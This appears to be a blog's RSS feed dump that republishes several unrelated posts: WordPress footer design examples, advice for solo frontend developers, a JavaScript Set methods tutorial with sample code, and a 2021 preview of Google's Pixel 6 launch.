Are you looking for the best footer design examples to help you get inspired?

The footer is the area at the bottom of your website, and it’s often overlooked by website owners. By checking out great website footers, you can get design inspiration and improve your footer.

In this article, we’ll show you some of the best footer design examples and offer best practices and tips to help you take action.

12 best WordPress footer design examples (+ best practices)

Why Is a Good WordPress Footer Design Important?

The footer is the area of your website that appears at the very bottom of the page. It will normally be on every page of your WordPress website.

Here’s an example of our footer on WPBeginner that millions of readers see every month.

WPBeginner footer

Since it’s located at the bottom of the website, most beginners forget to optimize this area.

However, your website footer is a very important area of your website. It lets you show important details and final takeaways in one place.

By customizing your footer, you can improve the overall user experience of your website and even optimize your site for WordPress SEO.

Plus, visitors who scroll to the bottom of the page are very engaged, so you can capture their attention with a call to action, email subscribe box, or send them to the most important pages on your website.

That being said, let’s show you some of the best footer design examples and best practices to optimize your footer.

Best WordPress Footer Design Examples

We’ve rounded up some of the top footer design examples to help you get design inspiration for your own footer area.

1. WPForms

WPForms footer

WPForms has a footer with all kinds of useful links. You’ll find links that go to the most helpful company pages, top features of the plugin, and useful WordPress links.

This ensures that when the reader gets to the bottom of the page and still has questions, they’ll find the exact resources they need. There’s also a floating alert bar at the bottom of the page with a call to action.

2. OptinMonster

OptinMonster footer

OptinMonster has a footer that offers readers links to important company pages, top features, helpful product links, and much more.

It also has simple social media icons, trust icons, and a company logo for branding purposes.

3. Neil Patel

Neil Patel footer

Neil Patel has a compact and straightforward footer that offers readers quick navigation links. The footer menu is the same as the navigation menu at the top of the site.

Plus, readers have the option to follow Neil Patel on social media as well.

4. Michael Hyatt

Michael Hyatt footer

Michael Hyatt has another simple and compact footer. It highlights the copyright date, easy social sharing buttons, and links to pages like terms of service and privacy policy.

Directly above the footer, you’ll see a call to action to download a free guide, which can convert a lot of visitors that make it to the bottom of the page.

5. ReddBar

Reddbar footer

ReddBar is a WooCommerce store with a footer that encourages email sign ups. Directly above the footer links, there’s a massive sign up box for readers.

Some of the helpful links include a link to their FAQ page, contact page, wholesale pricing page, and more.

6. Reader’s Digest

Reader's Digest footer

The Reader’s Digest footer contains a lot of information for visitors. You’ll find links to their category pages, other company brands, social media sharing buttons, and more.

Plus, there’s an eye catching email sign up box to encourage visitors to join their email list.

7. IsItWP

IsItWP footer

IsItWP footer has a quick section on what the website is about and links to other sites and company pages.

It also has a very unique site links drop down that lets readers click to find the exact type of content they’re looking for.

8. Born Fitness

Born Fitness footer

Born Fitness has a very minimalist footer that focuses on helping readers find the information they need. There are links to their premium services, free resources, and company pages.

Plus, there’s a search bar to help visitors find what they’re looking for, along with social sharing buttons.

9. Printing New York

Printing New York footer

Printing New York is an online store that ships worldwide. The footer highlights their address, services, and popular products.

They use the structure of their links to help boost their local SEO and search engine rankings.

10. Nalgene

Nalgene footer

Nalgene has a clean and well organized footer section. Directly above the footer, there’s a simple email sign up box.

After that, there are well organized links to help visitors find the exact products they’re looking for, along with company related links.

11. ProBlogger

ProBlogger footer

The ProBlogger footer has links to their most popular posts, top resources, and new jobs posted on their job board.

There’s also a big email sign up form directly above the footer, and a small footer navigation menu with the same menu options as the header navigation.

12. Custom Seafoods

Custom Seafoods footer

Custom Seafoods is a popular eCommerce brand that has a very different footer. Instead of including navigation or page links, they only feature an email newsletter sign up box.

Although it’s different from most other brands, a minimalist footer like this can convert well, since there are no other distractions or actions the visitor can take.

13. The Next Web

The Next Web footer

The Next Web has a footer that stands out from the rest of the website. It has social media sharing buttons, links to important pages, and more.

You’ll see a social proof section directly above the footer where they feature logos from popular brands and websites they’ve been mentioned or featured.

WordPress Footer Design – Tips and Best Practices

There are a lot of ways you can improve your user experience and create a better footer for your WordPress blog.

Let’s take a quick look at some of the best practices to keep in mind as you edit your website footer.

Include Your Business Contact Information

Having contact information listed on your site is essential. You should have a separate contact form page on your website, so your visitors can get in touch.

However, the footer is also a good place to include your contact information, especially if you have local customers who will be looking for your physical address.

Business contact information example

For local businesses, the more you ways you can feature your contact information, address, and even business hours, the better.

Add Links to Important Website Pages

It’s important to have clear navigation across your entire website. That’s why it’s so common for websites to include links in their footers.

You can add links for your most important product pages, top blog posts, about page, and more.

Footer links example

Think about the most valuable pages on your website and what your visitors will find the most useful.

Adding and optimizing your links can also give you an SEO benefit and boost in your search engine rankings.

Add Social Proof to Improve Conversions

One thing you may have seen certain websites do in their footer is add social proof. This can help to earn your customer’s trust and position you as an expert in your space.

It can be as simple as a customer testimonial or logos of popular websites you’ve been featured on.

Here at WPBeginner, we highlight logos of popular websites where we’ve been featured directly above the website footer.

Footer social proof example

Add a Call to Action

When your visitors get to the bottom of your website, you’ll want to tell them the exact action they should take and how they should do it.

For some websites, this will be a call to action to sign up for their email newsletter. For others, it will be links to explore popular product features, or even a call to action button.

Call to action button footer example

Your footer is the last chance to get your visitors attention and encourage them to become a subscriber, customer, or simply spend more time on your website.

The post 13 Best WordPress Footer Design Examples (+ Best Practices) appeared first on VVDesigns.]]>
https://vvdesigns.in/13-best-wordpress-footer-design-examples-best-practices/feed/ 0 2692
How to work as a solo frontend developer https://vvdesigns.in/how-to-work-as-a-solo-frontend-developer/ https://vvdesigns.in/how-to-work-as-a-solo-frontend-developer/#respond Tue, 09 Nov 2021 04:24:11 +0000 https://vvdesigns.in/?p=2688 Working in a team is great. You can progress really fast and learn a lot from your colleagues. Having another set of eyes to proof check your work is a godsend because it can prevent silly things being deployed to production.But, sometimes, life happens and you have to work alone on a project. Be it ...

The post How to work as a solo frontend developer appeared first on VVDesigns.]]>
Working in a team is great. You can progress really fast and learn a lot from your colleagues. Having another set of eyes to proof check your work is a godsend because it can prevent silly things being deployed to production.
But, sometimes, life happens and you have to work alone on a project. Be it a specific technology, budget reasons or something entirely else, it doesn’t really matter. Working alone doesn’t mean it’ll suck or be really stressful if you keep yourself in check.

To do list

I worked on a couple of projects as a solo frontend developer, but I rarely had the feeling like I couldn’t do it or that I maybe didn’t learn as much as I could have. If you “act” like there is a whole team involved (or that someone new will be joining you on the project), that can force you not to take shortcuts and do everything properly.

Don’t be lazy

Avoid shortcuts

It’s really easy to skip a couple of steps when working alone because, honestly, is anyone going to notice? The answer should be yes, you’ll notice it!
Opening a pull request that will be merged to master immediately might seem illogical, but having everything consistent will surely help you out in the long run. On top of that, you might notice something wrong when you’re doing a once-over.

Keep your code neat

Keeping your code neat is something you also shouldn’t skimp out on. Linters, prettiers and everything else should be setup as if you were in a team!

Be your own QA

Writing tests is a no-brainer. It’s always a great relief knowing that stuff works even after a refactor. Not having to constantly think about that will allow you to focus on more important things! That shouldn’t change even if you’re working alone.

Documentation!

It might be boring, but if you don’t do it, nobody will. At a first glance, it doesn’t seem important since you’re the only one that will be reading it. I can tell you that I know for a fact that the future you will thank you for it. It’s unrealistic to expect you’ll remember every little detail, even though you’ve written everything yourself. Having a good documentation means that some of the mental burden can be relieved because you can refer to it at any time.
Heck, something might even change within the project and your new teammate will be even faster with the onboarding.

Ask for help

Collaborate with other frontend developers

I have the benefit that there are other brilliant teammates on other projects. They might not know the domain of my project, but they can offer technical help if you explain it to them. Try to make it easy for them to understand it, and I’m sure that you’ll get new insights. The same goes for asking for help online. Just because you’re alone on the project doesn’t mean that you have to do everything by yourself.
If you have work colleagues, it’s not a bad idea to assign them on a pull request once in a while. You might be surprised how tunnel-visioned you can get!

Learn about the domain from backend

If there’s a backend, I’m sure you can discuss domain issues with them, as well. They probably know a lot and it’s a good idea to double-check with them. You might learn about something you weren’t aware of!

Improve wherever you can

Now that you’re alone on the project, you can do anything to improve your development experience. If there is a task that needs to be automated, why wouldn’t you automate it? If you can get the budget for it, you’ll save time and you’ll learn something new. This is a great opportunity to make up for not learning from your teammates. Something that a senior colleague always set up can now be done by you. It might seem daunting if it’s out of your comfort zone, but hey, how else are you going to learn?
From personal experience, these situations taught me some skills I would rarely have the time to research in other projects.

By sticking to these tips, I’ve been able to maximise my learning and do quality work as much as I could. Not having a teammate doesn’t mean that you really have to be isolated from everything else. And, who knows, you might even get someone working on a project by your side so you want to be proud of what you’re capable of doing all on your own, right?

The post How to work as a solo frontend developer appeared first on VVDesigns.]]>
https://vvdesigns.in/how-to-work-as-a-solo-frontend-developer/feed/ 0 2688
8 JavaScript Set Methods You Should Master Today https://vvdesigns.in/8-javascript-set-methods-you-should-master-today/ https://vvdesigns.in/8-javascript-set-methods-you-should-master-today/#respond Mon, 01 Nov 2021 05:38:19 +0000 https://vvdesigns.in/?p=2685 If you're looking to up your skills in creating JavaScript Sets, check out these methods.

The post 8 JavaScript Set Methods You Should Master Today appeared first on VVDesigns.]]>

If you’re looking to up your skills in creating JavaScript Sets, check out these methods.

A JavaScript Set is a collection of values that are unique.

Sets can hold values of any data type. It can be simple primitives, such as integers or strings, etc, or complex types like arrays or object literals. Values in the Set can only occur once.

In this article, you’ll learn eight JavaScript Set methods you should master today.

1. How to Create a New Set on JavaScript

You can create a new Set object using the new Set() constructor. The Set object stores unique values of any data type. This constructor accepts an iterable object as a parameter.

const setObj = new Set([21, 34, 35, 56, 23]);
console.log(setObj);

Output:

Set(5) { 21, 34, 35, 56, 23 }

If you don’t specify anything in the parameter, a new empty Set is created.

const setObj = new Set();
console.log(setObj);

Output:

Set(0) {}

If you try to create a Set with repeating elements, the duplicate elements will be removed and a unique Set will be returned.

const setObj = new Set([1, 2, 3, 1, 2, 3]);
console.log(setObj);

Output:

Set(3) { 1, 2, 3 }

You can also create a Set using mixed data types.

const setObj = new Set([1, 2, "Hello", [45, 67, 78]]);
console.log(setObj);

Output:

Set(4) { 1, 2, 'Hello', [ 45, 67, 78 ] }

2. How to Append New Elements to a Set Object

You can append a new element to the end of the Set object using the add() method. This method accepts the value of the element to add to the Set object as a parameter, and returns the new Set object with added value.

const setObj = new Set();
setObj.add("Welcome");
setObj.add("to");
setObj.add("MUO");
console.log(setObj);

Output:

Set(3) { 'Welcome', 'to', 'MUO' }

You can directly pass the value as a parameter, or you can pass the variable as one instead.

const setObj = new Set();
// Appending value to a Set object
setObj.add("Welcome");
const var1 = "to";
const var2 = "MUO";
// Appending variable to a Set object
setObj.add(var1);
setObj.add(var2);
console.log(setObj);

Output:

Set(3) { 'Welcome', 'to', 'MUO' }

The add() method also supports chaining.

const setObj = new Set();
// Chaining
setObj.add(1).add(2).add(3);
console.log(setObj);

Output:

Set(3) { 1, 2, 3 }

If you try to append duplicate elements, only the first instance of the element will be saved.

const setObj = new Set();
setObj.add(1);
setObj.add(2);
setObj.add(3);
setObj.add("M");
setObj.add("U");
setObj.add("O");
setObj.add(1);
setObj.add(2);
setObj.add(3);
console.log(setObj);

Output:

Set(6) { 1, 2, 3, 'M', 'U', 'O' }

3. How to Remove All Elements From a Set Object

You can remove all elements from a Set object using the clear() method. This method removes all the elements and returns undefined.

const setObj = new Set([1, 2, 3, 4, 5]);
console.log("Size of the Set object: " + setObj.size);
console.log(setObj);
setObj.clear();
console.log("Size of the Set object after clearing elements: " + setObj.size);
console.log(setObj);

Output:

Size of the Set object: 5
Set(5) { 1, 2, 3, 4, 5 }
Size of the Set object after clearing elements: 0
Set(0) {}

4. How to Delete a Specific Element From a Set Object

You can delete a specific element from a Set object (if it exists) using the delete() method. This method accepts the value to be deleted from the Set. If the value is found, the method returns true. Otherwise, it’ll be false.

const setObj = new Set([1, 2, 3, 4, 5]);
console.log("Initial Set:");
console.log(setObj);
setObj.delete(3);
console.log("Set after deleting 3");
console.log(setObj);

Output:

Initial Set:
Set(5) { 1, 2, 3, 4, 5 }
Set after deleting 3
Set(4) { 1, 2, 4, 5 }

5. How to Check If an Element Exists in a Set

You can check whether an element exists in a Set object using the has() method. This method accepts the value as a parameter to test for presence in the Set object. If the element is found, the method returns true; otherwise it’ll be false.

const setObj = new Set(["Welcome", "to", "MUO"]);
console.log(setObj.has("MUO"));
console.log(setObj.has("MakeUseOf"));

Output:

true
false

6. What’s the entries() Method in the JavaScript Set Object?

According to the official MDN Web Docs:

“The entries() method returns a new Iterator object that contains an array of [value, value] for each element in the Set object, in insertion order. For Set objects, there is no key like in Map objects. However, to keep the API similar to the Map object, each entry has the same value for its key and value here, so that an array [value, value] is returned.”

const setObj = new Set(["Welcome", "to", "MUO"]);
for(let entry of setObj.entries()) {
console.log(entry);
}

Output:

[ 'Welcome', 'Welcome' ]
[ 'to', 'to' ]
[ 'MUO', 'MUO' ]
const setObj = new Set(["Welcome", "to", "MUO"]);
for(let [key, value] of setObj.entries()) {
console.log(value);
}

Output:

Welcome
to
MUO

The keys and values in the Set are identical.

const setObj = new Set(["Welcome", "to", "MUO"]);
for(let [key, value] of setObj.entries()) {
console.log(key === value);
}

Output:

true
true
true

7. What’s the forEach() Method in the JavaScript Set Object?

The forEach() method invokes a function for each element of the Set object. This method returns undefined.

const setObj = new Set([1, 2, 3, 4, 5]);
let sum = 0;
setObj.forEach(function(element) {
sum += element;
});
console.log(sum);

Output:

15

8. What’s the values() Method in the JavaScript Set Object?

The values() method returns an Iterator object that contains all the values in a Set, and it does this in insertion order.

const setObj = new Set([1, 2, 3, 4, 5]);
const iteratorObj = setObj.values();
for (let value of iteratorObj) {
console.log(value);
}

Output:

1
2
3
4
5

Note: A Set object in JavaScript has no keys. But to make Sets compatible with Maps, the keys() method is used as an alias for the values() method. The keys() method behaves exactly the same as the values() method.

Now You Know How to Create Sets in JavaScript

So, there you have it. Having read this article, you should have plenty to help you master creating Sets on JavaScript.

Creating Sets is crucial for any programmer looking to up their game. Once you’ve mastered this, you can move on to perfecting other skills—such as creating Arrays.

The post 8 JavaScript Set Methods You Should Master Today appeared first on VVDesigns.]]>
https://vvdesigns.in/8-javascript-set-methods-you-should-master-today/feed/ 0 2685
What to expect at Google’s Pixel 6 launch event https://vvdesigns.in/what-to-expect-at-googles-pixel-6-launch-event/ https://vvdesigns.in/what-to-expect-at-googles-pixel-6-launch-event/#respond Fri, 15 Oct 2021 13:23:28 +0000 https://vvdesigns.in/?p=2678 Google has shared quite a few details of the Pixel 6 series, but it hasn’t revealed everything ahead of its October 19th event. Just how powerful will these phones be? Will they represent a good value? And does Google have any surprises up its sleeve? Here’s what you can expect from the presentation, including a few last-minute leaks. ...

The post What to expect at Google’s Pixel 6 launch event appeared first on VVDesigns.]]>
Google has shared quite a few details of the Pixel 6 series, but it hasn’t revealed everything ahead of its October 19th event. Just how powerful will these phones be? Will they represent a good value? And does Google have any surprises up its sleeve? Here’s what you can expect from the presentation, including a few last-minute leaks.

The specs: A return to flagship phones

Unlike with past phone launches, Google has been happy to share basic details of the Pixel 6 family months in advance. Both the base Pixel 6 and the larger, brawnier Pixel 6 Pro will mark Google’s return to high-end phones after the Pixel 5 ‘break,’ with premium glass designs. They’ll offer upgraded cameras with improved low-light performance (150 percent more light than in the past), and they should tout “all day” battery life despite support for battery-hungry 5G.

The centerpiece, however, will be the Tensor chip inside both Pixel 6 models. Google hasn’t officially divulged full specs for Tensor as of this writing, but it’s the company’s first custom system-on-chip. The design uses its namesake AI processing to achieve things that were “previously impossible” on typical SoCs, such as juggling multiple AI tasks or processing live video.

Google Tensor chip inside Pixel 6

However, Google hasn’t said much about the exact specs of the Pixel 6 line or the range of Tensor-assisted features. Expect the company to share many more gritty technical details for the Pixel 6 at the event, although we wouldn’t count on enough info to make easy comparisons between Tensor and rival mobile chips.

You might not have to wait long to get the full scoop. Well-known leaker Evan Blass spotted Carphone Warehouse promo pages that appear to spoil much of what Google intends to announce. The standard Pixel 6 will likely compete against ‘entry’ flagships like the Galaxy S21 and iPhone 13 with a 6.4-inch flat 90Hz screen, a 50-megapixel main camera and a 12MP ultra-wide shooter. The Pixel 6 Pro, meanwhile, should be the definitive top-of-the-range model with a 6.7-inch curved 120Hz display and a third 48MP telephoto lens. You may also see 30W wired charging, 23W wireless charging and reverse charging to top up your earbuds or other phones.

As for Tensor? That retail listing claimed up to 80 percent better performance than the Pixel 5 (not difficult given the 5’s middling Snapdragon 765G chip), but the real star may be Tensor’s photographic prowess. Google reportedly plans multiple AI-driven camera tricks that include a Magic Eraser to get rid of photobombers, Face Unblur to keep people in focus and a Motion Mode for action photography. These aren’t completely novel concepts (anti-photobombing has been present in Huawei and Samsung phones for a while), but they’re new to Pixels and might perform better with Tensor involved.

A focus on services and support

Google Pixel 6 in peach at an angle

Google might also break new ground in how it sells the Pixel 6. This is Tech Today‘s M. Brandon Lee obtained what he says is evidence Google will make the Pixel 6 available as a part of a “Pixel Pass” that combines monthly phone payments with an extended warranty, Google One cloud storage, Play Pass, optional Google Fi service and either YouTube Music or YouTube Premium. Effectively, Google would counter Apple One by including virtually everything you need in a single subscription, not just internet services.

You could also enjoy better software support regardless of what you pay. Those Carphone Warehouse pages echoed longstanding rumors that Google would offer “at least” five years of security updates to Pixel 6 owners. That’s more than the three to four years you often find in the Android world, and roughly on par with Apple. It’s not clear if you’ll get full operating system updates for those five years, but you might not have to worry about patchable vulnerabilities for the practical life of your Pixel.

Price and release date

There’s little doubt the Pixel 6 will cost more than its predecessor. Where the Pixel 5 was an upper-mid-range phone, its sequel is an upscale device. Google has even made clear the Pixel 6 Pro will be a “premium-priced product.” But how much more will you have to pay?

Google Pixel 6 Pro colors

That’s a difficult call. One Reddit user spotted a German listing that mentioned a €649 (about $750) price for the base Pixel 6. A source for This is Tech Today, meanwhile, quoted a price of €899 (roughly $1,050) for the 6 Pro. We’d be cautious about these prices, as they could change and might not convert neatly even if they’re accurate. Still, Google is apparently returning to top-tier pricing.

Like it or not, Google will also borrow a cost- and waste-cutting measure from its rivals: it’s leaving the charger out of the box. That’s not too dire an omission when there’s a real chance you’ll have a USB-C charger hanging around, but it could be frustrating if you’re either new to USB-C devices or saddled with a slow power brick. Factor that into the price before you rush to check out.

The German listing and other leaks have pointed to a Pixel 6 release sometime the week of October 25th. We’d expect a broad international launch, for that matter. Where the Pixel 5a was limited to the US and Japan due to supply constraints, the leaks so far already hint that Google wants to make the Pixel 6 as ubiquitous as possible.

Don’t expect many surprises

Google Pixel 6 colors

We wouldn’t bet on Google announcing much else besides the Pixel 6 and its accompanying software. Google’s marketing for the event has revolved exclusively around its new phones. It’s unlikely that you’ll see any other gadgets, and they’ll definitely be secondary if they do appear.

That’s not to completely rule out new hardware. It has been more than a year since Google debuted its higher-end Pixel Buds, and other devices like Nest WiFi haven’t been updated in a while. There’s just not much need for Google to revamp products beyond the Pixel line — what’s there is still relevant and functional.

There’s also the possibility of new or upgraded services. If Google really does introduce a Pixel Pass, it might want to sweeten the deal by offering more for the money, whether it’s a brand new service or perks like more cloud storage. We haven’t seen rumors to this effect so far, but Google also kept unlimited photo uploads for Pixel owners when it capped everyone else in June. The company knows that services sell hardware, and that may be crucial for the Pixel 6.

The post What to expect at Google’s Pixel 6 launch event appeared first on VVDesigns.]]>
https://vvdesigns.in/what-to-expect-at-googles-pixel-6-launch-event/feed/ 0 2678
Huetone an all new color palette for UI UX use. https://vvdesigns.in/huetone-an-all-new-color-palette-for-ui-ux-use/ https://vvdesigns.in/huetone-an-all-new-color-palette-for-ui-ux-use/#respond Wed, 13 Oct 2021 05:16:47 +0000 https://vvdesigns.in/?p=2674 Huetone an all new color palette for UI UX use.

The post Huetone an all new color palette for UI UX use. appeared first on VVDesigns.]]>
Huetone an all new color palette for UI UX use.

The post Huetone an all new color palette for UI UX use. appeared first on VVDesigns.]]>
https://vvdesigns.in/huetone-an-all-new-color-palette-for-ui-ux-use/feed/ 0 2674